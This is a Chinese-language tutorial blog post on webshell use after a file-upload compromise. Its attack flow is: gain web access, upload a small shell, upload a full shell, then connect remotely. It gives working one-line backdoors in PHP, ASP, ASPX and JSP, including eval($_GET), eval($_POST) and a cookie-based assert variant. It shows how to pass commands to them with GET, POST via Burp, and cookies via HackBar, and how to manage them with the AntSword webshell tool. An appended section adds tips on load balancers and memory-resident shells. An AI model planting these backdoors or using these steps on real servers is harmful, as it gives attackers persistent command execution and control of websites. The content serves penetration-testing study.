文件上传之Webshell连接方法

本文介绍了Webshell的基础知识,包括攻击流程、大小马概念和常用的一句话木马。重点讲解了通过GET、POST方法及Cookie来连接Webshell,以及如何使用蚁剑这一开源WebShell管理工具进行连接和控制。提醒读者在实际操作中应遵守法律,避免对服务器造成破坏。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

基础

攻击流程

大小马

常用Webshell

简单一句话木马webshell

GET方法

POST方法

 Cookie

 蚁剑连接Webshell


"感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!🚀✨"

Webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称为一种网页木马后门,攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件, 查看数据库执行命令 通过服务器开放的端口获取服务器的某些权限。 往目标网站中上传一句话木马,然后你就可以在本地通过Shell管理工具连接即可获取和控制整个网站目录

基础

Webshell是在文件上传后才执行的操作,通过向网站上传恶意文件后,本文介绍通过中国蚁剑工具进行连接获得权限,以及简单的GET POST Cookie 连接

攻击流程

获得权限--->上传恶意文件(小马)-->通过小马上传大马-->利用工具连接获得Webshell

1.利用web漏洞获取web权限,先获得权限才可以上传代码,而后再可以利用工具连接得到权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令

大小马

1.大马,体积大、功能齐全、能够管理数据库文件管理、对站点进行快速的信息收集,甚至能够提权

2.小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能

3.一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell

常用Webshell
 

网站最常用的还是PHP代码的形式,本文也是只讲解利用PHP上传一句话木马

PHP

<?php  eval($_GET[saber]);?>
<?php  eval($_POST[saber]);?>

Cookie

<?php @$a = $_COOKIE[1];$b =''; $c =''; @assert($b.$a); ?>

ASP

<%eval request("saber")%>

ASPX

<%Page Language="Jscript"%>  <%eval(Request.liem["pass"])%>

JSP

  <%Runtime.getRuntime().exec(request).getParameter("i"));% >

简单一句话木马webshell

GET方法

0x01

在phpstudy文件目录下创建webshell文件夹,放置我们的一句话木马PHP代码,当然你也可以自己建立别的文件夹,执行环境需要web网站,我使用的是PHPStudy,相信学习安全的各位应该都是不陌生的,这里不过多赘述

<?php
eval($_GET[pass]); 
?>
eval函数的语法是把字符串作为PHP代码执行 
创建pass变量后续使用get方法传递参数

0x02

回到浏览器中访问phpstydy根目录下webshell下t.php,出现空白页面证明我们的php语句正常执行没有报错

0x03

通过get方法像之前定义的pass变量传递参数,传递不同的参数有不同的效果,危险参数显而易见

http://localhost/webshell/t.php
?pass=system(dir);   
获得当前文件路径

POST方法

0X01

同GET方法一致,写入我们需要PHP代码,使用POST传递。

<?php  eval($_POST[saber]);?>

0X02

回到浏览器访问文件并且打开我们的代理插件,开启8080服务使用burp工具抓包,将请求方式改为POS方式

0X03

抓取到请求包后,右键发送到重发器,进入重发器后现在我们需要做的就是把请求方法改为POST,右键找到变更请求方法 ,就可以将GET改为POST

未改变

 已改变

 0X04

改变后,现在需要做的事情就是传递参数了,上方的参数为saber这里就是使用这个参数, 写好后按照步骤发送就可以查看响应后的回显

saber=phpinfo();   phpinfo()输出php的配置信息

saber=system(dir);  查看当前文件路径
saber=system(ipconfig);  查看本机ip

 Cookie

0x01

使用cookie传递参数,cookie会携带我们用户的数据,从而达到拿到shell的目的

<?php @$a = $_COOKIE[1];$b =''; $c =''; @assert($b.$a); ?>

assert() assert — 检查一个断言是否为 FALSE 

0X02

打开网页访问,Cookie参数我们通过一个插件 HacBar来操作,打开选择的Cookies选项使用写入需要的参数.

 0X03

 在Cookie处写入我们需要传递的参数为cmd,1是在PHP代码中包裹的值,eval将字符串作为PHP代码执行 ,POST选项出就写入代码来验证是否正确 ,发现是可以正确执行的,别的参数可以自行试验,

1=eval($_POST[cmd]);

cmd=system(ipconfig); 显示出本机ip地址

 蚁剑连接Webshell

蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

使用蚁剑需要以下两个文件下载使用,加载器认准自己计算机对应型号下载,正常下载是无法解压的,点进加载器详情里面会有介绍如何下载,下载好后根据下面文件学习安装使用

蚁剑安装使用教程:蚁剑

GitHub地址:加载器 源码

0X01

以Cookie为例复制路径打开蚁剑连接

0X02

打开蚁剑,右键在红框出打开窗口,点击添加数据,在这里连接我们的文件

0X03

填写后信息后因为是Cookie携带的参数,我们还需要设置一下请求信息, 这里的密码是我们在请求信息处填写的信息,我这里是CMD,写成一是因为一开始写错了,如果连接错误应该是因为密码填写错误

写入name为Cookie,Value值为1=eval($_POST[cmd]);,同上方利用插件传递值是一样的,这里写完就可以左上角进行保存, 点击测试连接

Cookie
1=eval($_POST[cmd]);

0X04

连接成功后添加数据,数据就保存到了蚁剑中,我们点击刚刚保存的地址右键打开虚拟终端

进入虚拟终端后就也就是shell页面就可以为所欲为,当然如果我们在实战中拿到了shell还是要遵纪守法,在合理范围内渗透不要对服务器造成破坏影响正常的业务

### 建立WebShell连接方法 为了成功建立WebShell连接,通常需要完成几个关键步骤。这些步骤涉及确认目标系统的可访问性和配置合适的客户端工具来发起请求。 #### 确认WebShell部署位置与路径 当已知存在一个远程命令执行(RCE)漏洞并且已经上传WebShell脚本时,重要的是要清楚该脚本的具体URL路径[^4]。例如,在给定环境中,如果Nginx的80端口被映射到了主机的18080端口,则可以通过`http://your-ip:8080/path/to/webshell.php`这样的形式去尝试访问WebShell文件[^3]。 #### 配置客户端工具 对于像蚁剑(AntSword)这类用于管理WebShell的图形界面工具而言,设置正确的参数至关重要: - **URL**: 输入完整的WebShell URL地址。 - **Password**: 设置之前嵌入到WebShell中的验证密钥或密码字符串。 ```bash # 示例:向蚁剑添加一个新的WebShell会话 Shell密码 http://搭建环境的主机IP地址:映射的端口号/ant.jsp ant_password ``` 上述命令展示了如何在蚁剑中指定WebShell的位置及其对应的认证凭证。 #### 处理因负载均衡引起的断连问题 由于企业级应用常常采用多台服务器组成的集群架构,并通过负载均衡器分发流量,这可能导致每次HTTP请求都被转发至不同的后端节点上运行。因此,即使在同一时刻内多次发送指令也可能遭遇不同机器处理而造成状态丢失的现象。针对这种情况,建议采取以下措施之一: - 将WebShell放置于共享存储区域以便所有成员都能读取相同的副本; 另外值得注意的是,内存型WebShell因其特殊的工作机制——仅存在于进程空间而不落地任何物理文件—使得其行为更加隐蔽但也更难调试和维护。此类WebShell依赖特定版本的应用程序容器特性实现加载逻辑,故而在实际操作前需充分调研目标平台的技术细节[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值